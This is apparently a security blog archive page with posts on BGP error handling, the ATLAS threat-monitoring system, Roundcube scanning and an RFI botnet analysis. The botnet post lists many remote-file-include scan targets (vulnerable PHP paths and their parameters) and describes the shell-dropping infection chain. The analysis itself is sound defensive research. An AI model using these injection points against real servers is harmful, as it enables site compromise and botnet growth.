The relevant protocol specifications error handling procedures were rather vague in this area until recently.  There have been a couple drafts submitted to the IETF Inter-Domain Routing (IDR) WG that attempt to address the specific case outlined above, as well as more generically that of optional transitive attributes and error handling.   One of the drafts is an update to the original BGP Support for Four-octet AS Number Space specification, RFC 4893, with more explicit guidance and an expanded error handling procedures section.   Another draft, Error Handling for Optional Transitive BGP Attributes, attempts to be more prescriptive in general, and addresses a few specific issues in existing specifications as well.

Some more information on the original problem from Rob Shakir and others on the IDR mailing list can be found here and in nested references.  I first heard about this specific incident through an email from Richard A Steenbergen ‘ras‘ on the Juniper NSP mailing list, about one hour after the incident began.  Coincidentally, the web interface for the Juniper NSP mailing list seems to be having some reachability problems at the moment that may actually be related to this specific issue.  Some earlier text on the previous incident, as well as a related problem, are available in an earlier post on our blog here.

It is worth noting that the amount of instability resulting from this seems to be significant, but not catastrophic at this point – although that’s likely something that is very topologically depedent, and may very well not be the case for a few less fortunate folk.  Finally, this incident is still evolving, it’s being going on for about 4 hours now.  Let’s hope it’s squelched soon, and if any noteworthy updates emerge, I’ll be sure to provide updates here accordingly.

ATLAS 2.0: Observing A Rapidly Changing Internet

By: Danny McPherson -

It’s already been over 2 years ago since we first introduced our Active Threat Level Analysis System – ATLAS, a multiphase project that’s been evolving pretty much constantly ever since.  The first phase of ATLAS focused on capturing data via a globally scoped network of sensors running a number of data capture and analysis tools that would interact with attackers to discover what activities they are attempting, capture full payloads and classify them, and characterize scan and backscatter traffic.   This information was then correlated with a number of other ATLAS system data sources, and wrapped in the ATLAS portal, a public resource that delivers a sub-set of the intelligence derived from the ATLAS sensor network on host/port scanning activity, zero-day exploits and worm propagation, security events, vulnerability disclosures and dynamic botnet and phishing infrastructures.  It includes:

  • Global Threat Map: Real-time visibility into globally propagating threats
  • Threat Briefs: Summarizing the most significant security events that have taken place over the past 24 hours
  • Top Threat Sources: Multi-dimensional visualization of originating attack activity
  • Threat Index: Summarizing Internet malicious activity by offering detailed threat ratings
  • Top Internet Attacks: 24-hour snapshot of the most prevalent exploits being used to launch attacks globally
  • Vulnerability Risk Index: Determines the most dangerous vulnerabilities being exploited on the Internet today

Today we announced ATLAS 2.0, the next generation of ATLAS.  Many of you that follow the ASERT blog, employ our Active Threat Feed (ATF), or work with Arbor and our ASERT team on operational security issues, have seen bits and pieces of ATLAS 2.0 for quite a while now.  In a nutshell, what we’ve done with ATLAS 2.0 is expand well beyond the initial ATLAS capabilities, incorporating new intelligence information, to include:

  • collaboration with over 100 ISPs across 17 countries
  • expanded Fingerprint Sharing Alliance participation
  • real-time ‘coarse’ Internet traffic levels, protocols, and applications
  • topologically diverse global view of Internet routing system security, stability and intelligence
  • topologically diverse DNS system inputs and analysis (e.g., to identify fast flux and other DNS-related threats)
  • attack traffic data flows and trajectory information
ATLAS Fast Flux Bots

ATLAS DNS Fast Flux Bots

It’s all about visibility and baselining up and down the IP protocol stack, operating at each of the various layers, the more information we collect and model, from more globally distributed and diverse locations, in particular with the ever-increasing array of topologically scoped threats, the more likely we are to detect deviations from what’s normal or acceptable.  Once those deviations are detected, they can be analyzed to determine whether they’re legitimate or malicious.  Whether they’re Internet control plane routing system stability [1], global Internet traffic levels [2, 3, 4], exploit activity for a given vulnerability [5], DNS flux activity [6], or botnet command and control log and execution activities [7], establishing broad visibility and understanding what constitutes normal activity enables network operators and engineers to respond most effectively in their operating environment.

We hope that the additional intelligence gained through ATLAS 2.0 will permit Arbor to continue to provide a valuable public resource, and enable Arbor customers and non-customers alike to better prepare for the rapidly evolving global Internet threat landscape.

Reblog this post [with Zemanta]

Roundcube Webmail Scanning

By: Jose -

I’ve been watching this for a couple of weeks now, I saw some initial requests to look at some data to discover what they may be after. I’ve seen some data about known attack vectors, but I haven’t seen what may be going on with the new “msgimport” function and any attacks against that. It’s possible that the “msgimport” URI is just a distinct marker for Roundcube, it may also have a vulnerability I didn’t see in my cursory static analysis of the code.

In a message entitled Security update for 0.2-beta dated December 16, the authors fixed a couple of bugs. One allowed for a DoS by chewing up disk space, while the other allowed for code injection via the HTML conversion script “html2text”. Neither mentions the scanned-for script, “msgimport”. Looking over the Roundcube SVN pages I don’t see anything there, either.

So, I have a couple of weeks of logs to dig into … a bunch of scans. Where are they coming from? Not surprusingly, mostly the US according to this WWW server.

world map of scanners

In this map, red shows the most serious source of scanners, blue is the least, and purple is in the middle. This may be more clear using a different representation of the data, a pie graph.

ATLAS sees it a bit different, though:

Country, Country Name, Attacks per subnet, Percent Total
CH, "Switzerland", 0.24, 78.1%
GB, "Great Britain", 0.06, 20.6%
US, "United States", 0.00, 1.2%
FR, "France", 0.00, 0.1%
Other, N/A, 0.00, 0.0%

In ATLAS this is not a major source of attacks, however.

Scans by day starting January 1 of this year show no obvious signs. It doesn’t seem to be slowing or growing, it just seems to be a new background attack.

Finally, and perhaps most revealing, we can see what they’re scanning for. The “msgimport” script is the most popular, but the JS file “list.js” is also being scanned for. I quickly looked that over but didn’t see anything worrisome there; I may have missed something.

In short, something may be going on but I don’t know what it is.

The End Of 2008 In A Few Sentences

By: Jose -

In these wee small hours of 2008, some quick thoughts.

Researchers have broken SSL CA root certificates via the MD5 collision issues. No great surprise, I think anyone who gave this some serious thought saw this coming. End of the world? No, not really. Invalid SSL certs rarely stop anyone. This will make it tougher to address. The ISC writeup is mostly spot on. There are some more significant issues afoot in the SSL CA chains, anyhow. Great research, however.

A new variant of Conflickr, aka Downadup.B, is on the loose. Same as before, nothing new. This one appears to be affecting a lot of entreprises who STILL didn’t apply MS08-067. Who knows why they haven’t, they’ve had nearly 2 months for a very obviously critical out of cycle patch. Most of the known domains point to, and sometimes to, as the worm begins its update cycles. The world is not ending here, either.

Is Waladec really Storm in disguise? I’m not totally convinced but the number of operational similarities cannot be discounted. But a number of other key facets do not line up. I’m still skeptical, to be honest.

Lots of website defacements due to the global strife between Israel and the Palestinians in Gaza, the recent issues in India, and of course the US. Zone-H offers a nice mirror for you to check out if you wish. A number of groups are active. Also see the Intelfusion blog on the Eastern Railway hacks in India.

And finally, we were quiet on the IE7 0day. We just didn’t have the cycles to talk about it, end of the year and all. In short, we’re surprised that it was used mainly to drop common infostealers and not anything more sophisticated.

Bonne annee!

Inside an RFI Botnet

By: Jose -

It all began innocently enough; I have been analyzing Apache logs for a while now, and when I spotted an RFI bot that was named “ddos.txt”, you know I had to look. After downloading it and analyzing it, I joined the channel with a copy of Bladerunner and started watching. The net’s been pretty quiet but here’s a few messages that came across, lately:

Tue Nov 11 00:11:14 2008
 @scan index.php?rage= index.php?rage=
Thu Nov 13 07:12:37 2008
 !scan /encapscms_PATH/core/core.php?root= "encapscms 0.3.6" "encapscms 0.3.6"
Thu Nov 13 07:12:37 2008
 !scan /components/com_thopper/inc/contact_type.php?mosConfig_absolute_path= "com_thopper"
Thu Nov 13 07:12:37 2008
 !scan /components/com_pccookbook/pccookbook.php?mosConfig_absolute_path= "com_pccookbook"
Thu Nov 13 07:12:37 2008
 !scan /admin/business_inc/saveserver.php?thisdir= "saveserver.php"
Thu Nov 13 07:12:37 2008
 !scan /admin/classes/TplLoad.php?full_path_to_public_program= "TplLoad.php"
Thu Nov 13 07:12:37 2008
 !scan /PhpLinkExchange/bits_listings.php?svr_rootP= /PhpLinkExchange/
Thu Nov 13 07:12:37 2008
 !scan /PNphpBB2/includes/functions_admin.php?phpbb_root_path= /PNphpBB2/
Thu Nov 13 07:12:40 2008
 !scan /index.php?option=com_mambowiki&Itemid=&mosConfig_absolute_path= "com_mambowiki"
Thu Nov 13 07:12:41 2008
 !scan /index.php?option=com_mambots&Itemid=&mosConfig_absolute_path= "com_mambots"
Thu Nov 13 07:12:43 2008
 !scan /index.php?option=com_mambatstaff&Itemid=&mosConfig_absolute_path= "com_mambatstaff"
Fri Nov 14 12:27:15 2008  4,12Ciao a tutti
Fri Nov 14 12:27:17 2008  4,12Arrivederci alla prox
Mon Nov 17 16:35:05 2008  hello
Mon Nov 17 18:54:45 2008  hello

Looks like Italian language hackers simply growing a botnet. No DDoS attacks launched, so far.

The channel topic instructs members (aka bots) to download three files. The first is one we’ll call “dork”. It’s basically a config file for an RFI scanner in Perl that takes a massive file (over 4300 scan commands) to spread the botnet. There’s simply no shortage of RFI vulnerabilities out there in various projects.

!scan /tellmatic/include/libchart-1.1/libchart.php?tm_includepath= "Tellmatic" "Tellmatic"
!scan esupport/admin/autoclose.php?subd= "Powered By Kayako eSupport" "Powered By Kayako eSupport"
!scan /modules/Forums/admin/admin_db_utilities.php?phpbb_root_path= "PHP-NUKE" asia "PHP-NUKE" asia
!scan /index.php?skin_file= "powered by Mp3 ToolBox 1.0 beta 5" "powered by Mp3 ToolBox 1.0 beta 5"
!scan /skin/zero_vote/ask_password.php?dir= "zeroboard" cz "zeroboard" cz
!scan / "XZero"
!scan mambots/content/multithumb/multithumb.php?mosConfig_absolute_path= "/mambots/content/" de "/mambots/content/" de
!scan ?mosConfig_absolute_path= "Joomla! is Free Software released under the GNU/GPL License"
!scan /tools/send_reminders.php?noSet=0&includedir= WebCalendar
!scan phprojekt/lib/ /phprojekt/
!scan phprojekt/lib/ copyright ?2000-2005 Albrecht Guenther

The second two URLs point to c57 and c99 PHP shells.

These all work with a Perl script which we’ll call “”. Basically it works as such:

  • Use search engines to find vulnerable system: Google, AllTheWeb, GigaBlast, AOL, Yahoo, MSN, ASK, FireBall
  • Try and exploit the box:
    • First try a PHP ID script; if that works move on and mail the author that it worked
    • Next try and load a PHP shell on the box; if that works, mail and move on to the next step
    • Now try and get the first stage “spreader” on the box; again, mail and move on if successful
    • Finally try and get the second stage “spreader” on the box, mail if successful
  • Once the box is exploited, all of the scripts are on the box: a PHP bot, a Perl bot (which is also an IRC bot, DDoS tool, and exploier), and PHP shells.

Quite the sloppy set up, very much slapped together. The code could use a good refactoring, as well, it has a lot of cut and paste going on. Crude but effective.

Once the PHP bot, in this case “ddos.txt”, drops and executes via the RFI exploit, it will drop another Perl script on the box, this one is a connect back door. It has the payload Base64 encoded in the PHP, so it simply opens a file in /tmp and drops it in there.

In this case, the bots connect to IndoIRC and maybe; Neither network is terribly well known for its security practices and seem to tolerate or welcome botnet activities.

The great proliferation of RFI attacks, and the ease with which they can be tested and exploited with “frameworks” such as “” should give you great pause. We often see Phishing sites set up on these boxes, and sometimes other nefarious activities hosted there, as well. When folks have hundreds of vulnerabilities and thousands of boxes to easily test them again, they’ll strike it rich quickly. Death by a thousand cuts, and now you can see how it happens.

Go Back In Time →